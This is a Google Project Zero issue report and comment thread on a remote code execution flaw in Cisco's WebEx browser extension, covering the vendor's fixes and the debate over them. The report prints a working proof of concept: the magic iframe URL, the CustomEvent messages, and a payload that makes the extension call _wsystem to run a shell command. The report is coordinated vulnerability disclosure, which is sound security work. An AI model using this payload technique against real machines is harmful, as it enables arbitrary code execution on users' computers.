Monorail Project: project-zero Issues People Development process History Sign in
New issue
Advanced search Search tips
Issue 1096 Cisco: Magic WebEx URL Allows Arbitrary Remote Command Execution
Starred by 23 users Project Member Reported by taviso@google.com, Jan 21 Back to list
Status: Fixed
Owner:
Closed: Jan 23
Cc:

Blocked on:
issue 1100
issue 1324



Sign in to add a comment
Cisco's WebEx extension (jlhmfgmfgeifomenelglieieghnjghma) has ~20M active users, and is part of Cisco's popular web conferencing software.

The extension works on any URL that contains the magic pattern "cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html", which can be extracted from the extensions manifest. Note that the pattern can occur in an iframe, so there is not necessarily any user-visible indication of what is happening, visiting any website would be enough.

The extension uses nativeMessaging, so this magic string is enough for any website to execute arbitrary code (!!).

The protocol the extension uses is complicated, using CustomEvent() objects to pass JSON messages between the webpage, the extension and the native code.

Stepping through an initialization, a website must first request that the extension open a port for communication, like this:

document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string

Then messages can passed to native code via "message" events. Note that these cannot be MessageEvent() objects, and you cannot use the postMessage API, they have to be CustomEvent() objects.

There are a few different message types, such as "hello", "disconnect", etc. The most interesting is "launch_meeting":

    document.dispatchEvent(new CustomEvent("message", { detail: {
            message: JSON.stringify(msg),
            message_type: "launch_meeting",
            timestamp: (new Date()).toUTCString(),
            token: "token"
        }
    }));

I stepped through a meeting and dumped the initialization messages:

> message.message
"{"DocshowVersion": "1.0",
"FilterSecParameters": "clientparam;clientparam_value",
"GpcProductRoot": "WebEx",
"GpcMovingInSubdir": "Wanta",
"GpcProductVersion": "T30_MC",
"GpcUpgradeManagement": "false",
"GpcCompatibleDesktopClients": "",
"enableQuickLaunch": "1",
"GpcProductDescription": "V2ViRXg=",
"GpcUnpackName": "atgpcdec",
"JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll",
"jmtclicklog": "1484862376664",
"GpcExtName": "atgpcext",
"GpcUnpackVersion": "27, 17, 2016, 501",
"GpcExtVersion": "3015, 0, 2016, 1117",
"GpcUrlRoot": "https://join-test.webex.com/client/WBXclient-T30L10NSP15EP1-10007/webex/self",
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcCompressMethod": "7z",
"GpcActiveIniSection": "V2ViRXhfVg==",
"GpcSupportPageUrl": "",
"GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg==
...

There are a huge number of properties, many are obviously good candidates for code execution, but these jumped out at me:

"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==",

If we decode those strings, we get:

GpcComponentName: "atmccli.DLL"
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"

That looks like some sort of weird scripting language. The presence of `HWND` suggests this is interacting with native code, and if I dump the exports of atmccli.DLL:

$ dumpbin /nologo /exports atmccli.dll

Dump of file atmccli.dll

    ordinal hint RVA      name

          2    2 0001CC11 ExitControl
         24    3 0001CC83 FinishCall
          1    4 0001D2F9 InitControl <--
         23    5 0001D556 NameValue
...

These exports look like the functions being called in that scripting language. Is it possible it's calling those exports?

I noticed that they ship a copy of the CRT (Microsoft's C Runtime, containing standard routines like printf, malloc, etc), so I tried calling the standard _wsystem() routime (like system(), but for WCHAR strings), like this:

var msg = {
    GpcProductRoot: "WebEx",
    GpcMovingInSubdir: "Wanta",
    GpcProductVersion: "T30_MC",
    GpcUnpackName: "atgpcdec",
    GpcExtName: "atgpcext",
    GpcUnpackVersion: "27, 17, 2016, 501",
    GpcExtVersion: "3015, 0, 2016, 1117",
    GpcUrlRoot: "http://127.0.0.1/",
    GpcComponentName: btoa("MSVCR100.DLL"),
    GpcSuppressInstallation: btoa("True"),
    GpcFullPage: "True",
    GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
    ExploitShellCommand: btoa("calc.exe"),
}

Unbelievably, that worked.

Example exploit attached.

I uploaded a demo here for testing (this URL is secret)

https://lock.cmpxchg8b.com/ieXohz9t/

(You can make sure WebEx is installed and working first by going here. You don't need to register, just enter any name and email)

https://www.webex.com/test-meeting.html


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html
1.4 KB View Download
Windows 7-2017-01-19-17-12-01.png
110 KB View Download
Project Member Comment 1 by taviso@google.com, Jan 21
Cc: taviso@google.com
Issue 1092 has been merged into this issue.
Project Member Comment 2 by taviso@google.com, Jan 21
Response:

Hi Tavis,

[...]

For your reference we are tracking this under      PSIRT-0085137008

Thanks for reporting this to us.

[...]

Project Member Comment 3 by taviso@google.com, Jan 21
I notified the cws team [chrome web store] about this issue, they have their own policies about vulnerable extensions that is separate to Project Zero's policies.

They have decided to temporarily block new installations until the matter is resolved, and intend to notify the developer about their expectations.
Comment 4 Deleted
Project Member Comment 5 by taviso@google.com, Jan 21
Cisco have asked if limiting the magic URL to https://*.webex.com/... would be an acceptable fix.

I think so, although this does mean any XSS on webex.com would allow remote code execution. If they think that is an acceptable risk, it's okay with me.
Comment 6 Deleted
Project Member Comment 7 by taviso@google.com, Jan 23
Labels: -Restrict-View-Commit
Status: Fixed
It looks like a new version is being rolled out right now (version 1.0.3) that contains that change.

That was a really impressive response time from Cisco over the weekend.

https://chrome.google.com/webstore/detail/cisco-webex-extension/jlhmfgmfgeifomenelglieieghnjghma/internal

This means that if a site is not *.webex.com or *.webex.com.cn, then the user must click OK for code execution to happen.

I think we will consider this issue fixed now. Hopefully, webex.com is well maintained and not full of XSS.



Although I am not a member of the Chromium team, I just wanted to voice my extreme dubiousness about this fix.

We are talking about a domain (www.webex.com) that:

a) doesn't use HTTP Strict Transport Security, either as a header or by being preloaded
b) doesn't use CSP
c) indeed, doesn't seem to follow any of the most basic of web hygiene tasks: https://observatory.mozilla.org/analyze.html?host=www.webex.com

And they are being allowed to have that domain execute any arbitrary local code?  Reflected XSS is, by far, the most commonly seen class of web bugs, and any reflected XSS on their domain can execute arbitrary local code?

If I'm an adversary and I can find a single XSS on that domain, all I need to do at any point in the future is intercept an outgoing HTTP request from Chrome, insert a 302 redirect, and I have an instant RCE on who knows how many machines?  At least 10M, according to the extension page.

I would expect, at the very minimum, for the requirements to be:

a) limiting the ability to make these calls to a purpose-built and extremely limited domain that does nothing else and
b) require a very strong and specific CSP policy to mitigate an XSSes found on that domain

Sorry if I'm being a bit hyperbolic, I'm just trying to understand the rationale behind the acceptance of their fix.
Project Member Comment 9 by taviso@google.com, Jan 23
Thanks April, I completely agree, I'd like to see those requirements as well. I know I used the term "acceptable" above, but I didn't mean to imply we had any authority to accept or reject fixes - we can only make recommendations to vendors, and our only recourse is public disclosure.

Hopefully this issue being made public will help reinforce to the vendor how important this is.
Project Member Comment 10 by taviso@google.com, Jan 23
The old extension is still linked in this support article

https://help.webex.com/docs/DOC-8177

I'm going to ping PSIRT and remind them to update it.
Per https://pentest-tools.com/information-gathering/find-subdomains-of-domain#, there are currently 544 unique webex.com subdomains (hostnames mapped to an IP address). It would be wise to limit the RCE capability to a few specific hosts, as the total global number of hosts without XSS is probably lower than 544.
Project Member Comment 12 by taviso@google.com, Jan 23
Thanks Mitja, good idea, I'll pass that on.
The WebEx extension has now been blocked in Firefox, pending a fix:
https://bugzilla.mozilla.org/show_bug.cgi?id=1333225

I don't know if Safari and/or IE/Edge have the same problem; have they been notified to check?
@mitja I understand your concern here. The reason there is so many sub domains is that enterprise customers get one for their WebEx instance. The sub domain is used in emailed links and calendar invites. Limiting the sub domains that trigger the integration will break the extension for those customers. 

Note: I'm not from Cisco, I'm just a lowly WebEx user.
Me and a colleague just tried the "update" version of the webex app in the chrome web store Version: 1.0.3
Updated: January 22, 2017
and we still found that this works on the latest version for chrome.
Project Member Comment 16 by taviso@google.com, Jan 24
@apking: I don't know if those exist, I can ping some contacts to find out.

@cn04142: I've verified that 1.0.3 does contain the fix, so I'm not sure why your update isn't working. I think we would need Cisco's help to debug that, do you have access to WebEx support?
Project Member Comment 17 by taviso@google.com, Jan 24
I should note that if you're not technically inclined and find the update doesn't work, you should disable the extension immediately and then contact WebEx support.

I haven't been able to reproduce that problem, and I'm not sure what would cause it. I'm not in a position to debug it, but WebEx will be able to help you.
I've never been involved here, so I understand if my comments are dismissed.

"This means that if a site is not *.webex.com or *.webex.com.cn, then the user must click OK for code execution to happen."
This means that if I obtain or gain control of an enterprise account with Cisco, I can launch this exploit on anyone - this puts us back at square one.

Additionally, users are accustomed to clicking "OK" and most won't put much effort into understanding why they're being asked to click. Does the dialog with the "OK" button contain a loud warning that clicking "OK" gives someone the ability to run arbitrary code outside the browser?

I would like to argue that the underlying problem with the WebEx extension is that there ought to be a barrier between code run in a browser and code run natively on the host, and that that barrier ought not be breached without very careful consideration (if at all).
Project Member Comment 19 by taviso@google.com, Jan 24
@nstr10 I agree and understand, but Project Zero has no authority to enforce coding standards over other vendors. Our only recourse is the public disclosure of our research, we can make recommendations about best practices, but we have no ability to enforce that.

I would recommend you contact WebEx (especially if you have a support contract) and explain your concerns to them, https://www.webex.com/contact-us.html

I have no reason to believe Cisco read any comments posted on our issue tracker. While I can forward your concerns to them - they have no more reason to listen to me than they do to you (in fact, if you're a WebEx customer then your opinion has more weight than mine). 
> The reason there is so many sub domains is that enterprise customers get one for their WebEx instance. The sub domain is used in emailed links and calendar invites. Limiting the sub domains that trigger the integration will break the extension for those customers. 

Then Cisco should maintain a whitelist and only allow these calls from the domains that are in the whitelist.  Allowing it from arbitrary WebEx domains is madness.

I mean, do you trust (the arbitrarily picked) icinet.ats.pub.webex.com to not have any kind of XSS on it?  The banner at the bottom seems to indicate that the site hasn't been updated since 2011.  What about crmapps.webex.com?  It has an IIS 6 splash page; IIS 6, notably, was end-of-lifed in 2015.  It supports RC4, an encryption cipher known to be insecure.  These are the people that we're trusting to not make an extremely common mistake that has a side effect of allowing arbitrary code execution on a local machine?

In my opinion this is an extremely dangerous hole to leave open.  We're wrapping browsers in 50 layers of sandboxing, but we're willing to let an entire sprawling domain execute arbitrary system commands?

a) allowing all of *.webex.com to execute commands is way too much surface area
b) allowing other domains to execute commands by merely clicking OK is a security nightmare; we've spent literal decades failing to get users to not do this, and
c) this entire design of passing arbitrary commands from an extension to local code is architecturally a poor choice; why does it need to pass anything other than a URL or a meeting code?
It is probably no worse than ActiveX though, but ActiveX does require that the code be signed if I remember correctly.
As far as I can tell, the real fix by Cisco should be to re-engineer how the plugin talks to native code. Like @apking suggested, the native app should not be allowed to accept anything but a meeting URL, and info required to join that meeting (password, user's name, etc.).

The update provided does nothing to improve the situation.

Unfortunately, I, also do not have a WebEx contract, and therefore have no power here.
FWIW, the extension isn't really required to join Webex meetings. I did not like the extension asking for permission to "Read and change all your data on the websites you visit" and have never installed it. Webex meetings (test at https://www.webex.co.in/test-meeting.html) prompt for the extension to be installed or have a executable run and I have been choosing the executable every time for the past few years.
Webex meeting.PNG
91.2 KB View Download
I see now that the web store lists version 1.0.5, but I haven't had luck in locating a changelist (though someone commented that, "This issue has been resolved in 1.0.5").

Anyone have the inside track? I'm not comfortable even with the 1.0.3-grade fix, and want to know if it's still as vulnerable.
Project Member Comment 25 by taviso@google.com, Jan 24
I took a look, they've added a whitelist for the GpcComponentName property.

That's a really big improvement.

Although there are many other properties that are likely exploitable (e.g. I think GpcExtName has a path traversal) that I haven't really looked at. Note that you would need an XSS on webex.com to exploit that without user interaction.
@taviso we do, I'll see if I can get on a call with them today and see, I had a colleague who never had the extension installed install it for the first time to test it. We also have the WebEx productivity tools installed so we are also going to test and see if that is related.
Comment 27 Deleted
Hi - I'm with Cisco and reading this but not the right person to fix Webex. However, if you email me at fluffy@cisco.com , I will put you in contact with correct people. The best email for security issues at Cisco is psirt@cisco.com. More contact info at http://www.cisco.com/c/en/us/about/security-center/security-vulnerability-policy.html#roosfassv   Obviously we want to remove any security venerability's/ 
According to a recent post by Cisco, 1.0.5 is the official fix:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170124-webex
I should also mention it appears Chrome needs to be restarted for the update to take effect.
Why was this publicly disclosed within the 90 days? 
Just curious
Cisco bug id: CSCvc86959
Project Member Comment 33 by taviso@google.com, Jan 24
As per industry standards, Project Zero publishes advisories when fixes are made available.

If a fix is not available within 90 days, then we disclose publically. 

Please note that this is not a discussion or support forum.
Will updating or reinstalling Chrome force the Cisco Webex extension to update to the latest version of the extension (1.0.5) and eliminate it from being subceptible to the flaw?
Project Member Comment 35 by taviso@google.com, Jan 25
@hamhoward I believe that will trigger an extensions update, yes.

I have a example payload that works if you combine it with an XSS on webex.com now, I'll forward it to cisco.
@taviso okay, when I reinstalled Chrome it kept the previously installed extensions that were tied to it. I just wasn't sure how often or if a reinstall would force Chrome to check for updates of the extensions. Management is forcing IT to find a fix or uninstall the browser, we would love to tell them we have one.
Project Member Comment 37 by taviso@google.com, Jan 25
Blockedon: 1100
Project Member Comment 38 by taviso@google.com, Jan 25
 issue 1100  is a bypass that still allows code execution on 1.0.5.

I have reported it to Cisco PSIRT.

The issue requires some details that maybe considered new vulnerabilities, so the details are not available here until a patch is available.
How can I get detail of 1100?
Project Member Comment 40 by taviso@google.com, Jan 25
Can you give me your @cisco.com address? I will forward you details.
Comment 41 Deleted
Comment 42 Deleted
Comment 43 Deleted
Project Member Comment 44 by mjurczyk@google.com, Feb 3
Labels: -Reported-2017-01-19 Reported-2017-Jan-19
Comment 45 Deleted
Comment 46 Deleted
Comment 47 Deleted
Comment 48 Deleted
Comment 49 Deleted
You could create a profile that is only used for WebEx: https://support.google.com/chrome/answer/2364824
Project Member Comment 51 by taviso@google.com, Jul 6
Blockedon: 1324
Sign in to add a comment